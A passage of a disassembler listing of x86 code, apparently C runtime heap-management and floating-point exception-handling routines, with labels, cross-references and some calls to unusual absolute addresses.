[esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp dword_433EA0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_433E90 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_4CF024 nop call near ptr 2730000h mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: sub_41B888+12j mov ebp, dword_4241B4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41B9AE push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41B9A0 mov eax, offset off_433E90 cmp esi, eax jnz short loc_41B918 cmp off_433E90, 0 jnz short loc_41B908 mov off_433E90, eax loc_41B908: ; CODE XREF: sub_41B888+79j cmp off_433E94, 0 jnz short loc_41B92D mov off_433E94, eax jmp short loc_41B92D ; --------------------------------------------------------------------------- loc_41B918: ; CODE XREF: sub_41B888+70j mov [esi], eax mov eax, off_433E94 mov [esi+4], eax mov off_433E94, esi mov eax, [esi+4] mov [eax], esi loc_41B92D: ; CODE XREF: sub_41B888+87j ; sub_41B888+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41B94F: ; CODE XREF: sub_41B888+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41B94F push ebx push 0 push edi call sub_417330 add esp, 0Ch loc_41B978: ; CODE XREF: sub_41B888+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41B99C or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41B978 ; --------------------------------------------------------------------------- loc_41B99C: ; CODE XREF: sub_41B888+F7j mov eax, esi jmp short loc_41B9C7 ; --------------------------------------------------------------------------- loc_41B9A0: ; CODE XREF: sub_41B888+63j push 8000h push 0 push edi call near ptr 28705FFh nop loc_41B9AE: ; CODE XREF: sub_41B888+4Bj cmp esi, offset off_433E90 jz short loc_41B9C5 push esi push 0 push dword_4CF024 call near ptr 2720000h nop loc_41B9C5: ; CODE XREF: sub_41B888+2Bj ; sub_41B888+12Cj xor eax, eax loc_41B9C7: ; CODE XREF: sub_41B888+116j pop edi pop esi pop ebp pop ebx retn sub_41B888 endp ; =============== S U B R O U T I N E ======================================= sub_41B9CC proc near ; CODE XREF: sub_41BA22+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28705FFh cmp off_435EB0, esi jnz short loc_41B9F1 mov eax, [esi+4] mov off_435EB0, eax loc_41B9F1: ; CODE XREF: sub_41B9CC+1Bj cmp esi, offset off_433E90 jz short loc_41BA19 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4CF024 nop call near ptr 2720000h pop esi retn ; --------------------------------------------------------------------------- loc_41BA19: ; CODE XREF: sub_41B9CC+2Bj or dword_433EA0, 0FFFFFFFFh pop esi retn sub_41B9CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA22 proc near ; CODE XREF: sub_41BB3B+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_433E94 push edi loc_41BA2F: ; CODE XREF: sub_41BA22+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41BACD and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41BA48: ; CODE XREF: sub_41BA22+72j cmp dword ptr [edi], 0F0h jnz short loc_41BA89 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28705FFh test eax, eax jz short loc_41BA89 or dword ptr [edi], 0FFFFFFFFh dec dword_4CDA1C mov eax, [esi+0Ch] test eax, eax jz short loc_41BA7E cmp eax, edi jbe short loc_41BA81 loc_41BA7E: ; CODE XREF: sub_41BA22+56j mov [esi+0Ch], edi loc_41BA81: ; CODE XREF: sub_41BA22+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41BA96 loc_41BA89: ; CODE XREF: sub_41BA22+2Cj ; sub_41BA22+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41BA48 loc_41BA96: ; CODE XREF: sub_41BA22+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41BACD cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41BACD push 1 lea eax, [ecx+20h] pop edx loc_41BAAD: ; CODE XREF: sub_41BA22+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41BABE inc edx add eax, 8 cmp edx, 400h jl short loc_41BAAD loc_41BABE: ; CODE XREF: sub_41BA22+8Ej cmp edx, 400h jnz short loc_41BACD push ecx call sub_41B9CC pop ecx loc_41BACD: ; CODE XREF: sub_41BA22+11j ; sub_41BA22+7Dj ... cmp esi, off_433E94 jz short loc_41BADF cmp [ebp+arg_0], 0 jg loc_41BA2F loc_41BADF: ; CODE XREF: sub_41BA22+B1j pop edi pop esi pop ebx leave retn sub_41BA22 endp ; =============== S U B R O U T I N E ======================================= sub_41BAE4 proc near ; CODE XREF: sub_417C3B+3Ap ; sub_41944F+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_433E90 push esi mov ecx, edx loc_41BAF0: ; CODE XREF: sub_41BAE4+1Cj cmp eax, [ecx+10h] jbe short loc_41BAFA cmp eax, [ecx+14h] jb short loc_41BB02 loc_41BAFA: ; CODE XREF: sub_41BAE4+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41BB37 jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BB02: ; CODE XREF: sub_41BAE4+14j test al, 0Fh jnz short loc_41BB37 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41BB37 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41BAE4+1Aj ; sub_41BAE4+20j ... xor eax, eax pop esi retn sub_41BAE4 endp ; =============== S U B R O U T I N E ======================================= sub_41BB3B proc near ; CODE XREF: sub_417C3B+4Dp ; sub_41944F+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41BB7F inc dword_4CDA1C cmp dword_4CDA1C, 20h jnz short locret_41BB7F push 10h call sub_41BA22 pop ecx locret_41BB7F: ; CODE XREF: sub_41BB3B+2Bj ; sub_41BB3B+3Aj retn sub_41BB3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB80 proc near ; CODE XREF: sub_417BC7+4Ap ; sub_41944F+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_435EB0 push edi loc_41BB8E: ; CODE XREF: sub_41BB80+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41BC39 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41BBF3 loc_41BBB9: ; CODE XREF: sub_41BB80+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41BBDC cmp [edi+4], ebx jbe short loc_41BBDC push ebx push ecx push eax call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov eax, [ebp+var_4] mov [edi+4], ebx loc_41BBDC: ; CODE XREF: sub_41BB80+40j ; sub_41BB80+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41BBB9 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBF3: ; CODE XREF: sub_41BB80+37j mov ebx, [ebp+arg_0] loc_41BBF6: ; CODE XREF: sub_41BB80+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41BC3C loc_41BC09: ; CODE XREF: sub_41BB80+B5j mov eax, [edi] cmp eax, ebx jl short loc_41BC28 cmp [edi+4], ebx jbe short loc_41BC28 push ebx push eax push [ebp+var_4] call sub_41BD88 add esp, 0Ch test eax, eax jnz short loc_41BC4B mov [edi+4], ebx loc_41BC28: ; CODE XREF: sub_41BB80+8Dj ; sub_41BB80+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41BC09 jmp short loc_41BC3C ; --------------------------------------------------------------------------- loc_41BC39: ; CODE XREF: sub_41BB80+14j mov ebx, [ebp+arg_0] loc_41BC3C: ; CODE XREF: sub_41BB80+87j ; sub_41BB80+B7j mov esi, [esi] cmp esi, off_435EB0 jz short loc_41BC5B jmp loc_41BB8E ; --------------------------------------------------------------------------- loc_41BC4B: ; CODE XREF: sub_41BB80+54j ; sub_41BB80+A3j mov off_435EB0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41BD83 ; --------------------------------------------------------------------------- loc_41BC5B: ; CODE XREF: sub_41BB80+C4j mov eax, offset off_433E90 mov edi, eax loc_41BC62: ; CODE XREF: sub_41BB80+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41BC6E cmp dword ptr [edi+0Ch], 0 jnz short loc_41BC7A loc_41BC6E: ; CODE XREF: sub_41BB80+E6j mov edi, [edi] cmp edi, eax jz loc_41BD4F jmp short loc_41BC62 ; --------------------------------------------------------------------------- loc_41BC7A: ; CODE XREF: sub_41BB80+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41BCA9 loc_41BC98: ; CODE XREF: sub_41BB80+127j cmp [ebp+var_4], 10h jge short loc_41BCA9 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41BC98 loc_41BCA9: ; CODE XREF: sub_41BB80+116j ; sub_41BB80+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2870746h cmp eax, esi jnz loc_41BD81 push 0 push [ebp+var_8] push esi call sub_417330 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41BD10 lea eax, [esi+4] mov [ebp+var_4], edx loc_41BCE6: ; CODE XREF: sub_41BB80+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41BCE6 loc_41BD10: ; CODE XREF: sub_41BB80+15Ej mov off_435EB0, edi lea eax, [edi+2018h] loc_41BD1C: ; CODE XREF: sub_41BB80+1A8j cmp ecx, eax jnb short loc_41BD2C cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41BD2A add ecx, 8 jmp short loc_41BD1C ; --------------------------------------------------------------------------- loc_41BD2A: ; CODE XREF: sub_41BB80+1A3j cmp ecx, eax loc_41BD2C: ; CODE XREF: sub_41BB80+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD4F: ; CODE XREF: sub_41BB80+F2j call sub_41B888 test eax, eax jz short loc_41BD81 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_435EB0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41BD83 ; --------------------------------------------------------------------------- loc_41BD81: ; CODE XREF: sub_41BB80+143j ; sub_41BB80+1D6j xor eax, eax loc_41BD83: ; CODE XREF: sub_41BB80+D6j ; sub_41BB80+1CDj ... pop edi pop esi pop ebx leave retn sub_41BB80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD88 proc near ; CODE XREF: sub_41BB80+4Ap ; sub_41BB80+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41BDCD lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41BDBC add [ecx], edx sub [ecx+4], edx jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDBC: ; CODE XREF: sub_41BD88+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BDC5: ; CODE XREF: sub_41BD88+32j lea eax, [edi+8] jmp loc_41BE9B ; --------------------------------------------------------------------------- loc_41BDCD: ; CODE XREF: sub_41BD88+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41BDD6 mov eax, esi loc_41BDD6: ; CODE XREF: sub_41BD88+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41BE20 loc_41BDDD: ; CODE XREF: sub_41BD88+96j mov bl, [eax] test bl, bl jnz short loc_41BE13 push 1 lea ebx, [eax+1] pop esi loc_41BDE9: ; CODE XREF: sub_41BD88+68j cmp byte ptr [ebx], 0 jnz short loc_41BDF2 inc ebx inc esi jmp short loc_41BDE9 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BD88+64j cmp esi, edx jnb short loc_41BE44 cmp eax, [ebp+var_4] jnz short loc_41BE00 mov [ecx+4], esi jmp short loc_41BE0C ; --------------------------------------------------------------------------- loc_41BE00: ; CODE XREF: sub_41BD88+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41BEA5 loc_41BE0C: ; CODE XREF: sub_41BD88+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41BE18 ; --------------------------------------------------------------------------- loc_41BE13: ; CODE XREF: sub_41BD88+59j movzx esi, bl add eax, esi loc_41BE18: ; CODE XREF: sub_41BD88+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41BDDD loc_41BE20: ; CODE XREF: sub_41BD88+53j lea esi, [ecx+8] loc_41BE23: ; CODE XREF: sub_41BD88+EBj ; sub_41BD88+F2j cmp esi, edi jnb short loc_41BEA5 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41BEA5 mov al, [esi] test al, al jnz short loc_41BE75 push 1 lea ebx, [esi+1] pop eax loc_41BE3B: ; CODE XREF: sub_41BD88+BAj cmp byte ptr [ebx], 0 jnz short loc_41BE65 inc ebx inc eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE44: ; CODE XREF: sub_41BD88+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE55 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41BE5E ; --------------------------------------------------------------------------- loc_41BE55: ; CODE XREF: sub_41BD88+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41BE5E: ; CODE XREF: sub_41BD88+CBj mov [eax], dl add eax, 8 jmp short loc_41BE9B ; --------------------------------------------------------------------------- loc_41BE65: ; CODE XREF: sub_41BD88+B6j cmp eax, edx jnb short loc_41BE7C sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41BEA5 mov esi, ebx jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE75: ; CODE XREF: sub_41BD88+ABj movzx eax, al add esi, eax jmp short loc_41BE23 ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD88+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41BE8D sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41BE96 ; --------------------------------------------------------------------------- loc_41BE8D: ; CODE XREF: sub_41BD88+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41BE96: ; CODE XREF: sub_41BD88+103j mov [esi], dl lea eax, [esi+8] loc_41BE9B: ; CODE XREF: sub_41BD88+40j ; sub_41BD88+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41BEA7 ; --------------------------------------------------------------------------- loc_41BEA5: ; CODE XREF: sub_41BD88+7Ej ; sub_41BD88+9Dj ... xor eax, eax loc_41BEA7: ; CODE XREF: sub_41BD88+11Bj pop edi pop esi pop ebx leave retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEAC proc near ; CODE XREF: sub_41944F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41BEE6 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BEE6: ; CODE XREF: sub_41BEAC+26j jnb short loc_41BF4D mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41BF4D lea eax, [ecx+edx] loc_41BEFB: ; CODE XREF: sub_41BEAC+59j cmp eax, esi jnb short loc_41BF09 cmp byte ptr [eax], 0 jnz short loc_41BF07 inc eax jmp short loc_41BEFB ; --------------------------------------------------------------------------- loc_41BF07: ; CODE XREF: sub_41BEAC+56j cmp eax, esi loc_41BF09: ; CODE XREF: sub_41BEAC+51j jnz short loc_41BF4D mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41BF41 cmp esi, eax jbe short loc_41BF41 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41BF38 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41BF33 loc_41BF2C: ; CODE XREF: sub_41BEAC+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41BF2C loc_41BF33: ; CODE XREF: sub_41BEAC+7Ej mov [ebx+4], eax jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF38: ; CODE XREF: sub_41BEAC+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41BF41: ; CODE XREF: sub_41BEAC+68j ; sub_41BEAC+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41BF46: ; CODE XREF: sub_41BEAC+38j mov [ebp+var_4], 1 loc_41BF4D: ; CODE XREF: sub_41BEAC:loc_41BEE6j ; sub_41BEAC+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BEAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_41BF55(int,int,double,int) sub_41BF55 proc near ; CODE XREF: sub_417CA4+51p ; sub_417DEB+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_436608, 0 jnz short loc_41BF8A push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41C50A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41BF8A: ; CODE XREF: sub_41BF55+Aj push 0FFFFh mov dword_4CD9B4, 21h push [ebp+arg_C] call sub_41C77D fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_41BF55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41BFA8(int,int,double,double,int) sub_41BFA8 proc near ; CODE XREF: sub_417CA4:loc_417D67p ; sub_417DEB:loc_417EAEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41C2F3 add esp, 0Ch test eax, eax jnz short loc_41BFE6 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41C040 add esp, 18h loc_41BFE6: ; CODE XREF: sub_41BFA8+1Aj push [ebp+arg_0] call sub_41C5DD cmp dword_436608, 0 pop ecx jnz short loc_41C024 test eax, eax jz short loc_41C024 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41C50A add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_41C024: ; CODE XREF: sub_41BFA8+4Ej ; sub_41BFA8+52j push eax call sub_41C592 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41C77D fld [ebp+arg_10] pop ecx pop ecx leave retn sub_41BFA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C040 proc near ; CODE XREF: sub_41BFA8+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_41C072 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_41C072: ; CODE XREF: sub_41C040+23j test cl, 2 jz short loc_41C085 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41C085: ; CODE XREF: sub_41C040+35j test cl, bl jz short loc_41C097 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_41C097: ; CODE XREF: sub_41C040+47j test cl, 4 jz short loc_41C0AA mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_41C0AA: ; CODE XREF: sub_41C040+5Aj test cl, 8 jz short loc_41C0BD mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_41C0BD: ; CODE XREF: sub_41C040+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41C760 test al, bl jz short loc_41C146 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41C146: ; CODE XREF: sub_41C040+FDj test al, 4 jz short loc_41C151 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41C151: ; CODE XREF: sub_41C040+108j test al, 8 jz short loc_41C15C mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41C15C: ; CODE XREF: sub_41C040+113j test al, 10h jz short loc_41C166 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41C166: ; CODE XREF: sub_41C040+11Ej test al, 20h jz short loc_41C170 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41C170: ; CODE XREF: sub_41C040+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41C1AF cmp eax, 400h jz short loc_41C1A1 cmp eax, 800h jz short loc_41C195 cmp eax, ecx jnz short loc_41C1B5 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C195: ; CODE XREF: sub_41C040+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41C1AB ; --------------------------------------------------------------------------- loc_41C1A1: ; CODE XREF: sub_41C040+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41C1AB: ; CODE XREF: sub_41C040+15Fj mov [eax], ecx jmp short loc_41C1B5 ; --------------------------------------------------------------------------- loc_41C1AF: ; CODE XREF: sub_41C040+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41C1B5: ; CODE XREF: sub_41C040+14Bj ; sub_41C040+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41C1E0 cmp eax, 200h jz short loc_41C1D3 cmp eax, ecx jnz short loc_41C1ED mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41C1ED ; --------------------------------------------------------------------------- loc_41C1D3: ; CODE XREF: sub_41C040+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41C1EB ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: sub_41C040+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41C1EB: ; CODE XREF: sub_41C040+19Ej mov [eax], ecx loc_41C1ED: ; CODE XREF: sub_41C040+189j ; sub_41C040+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld 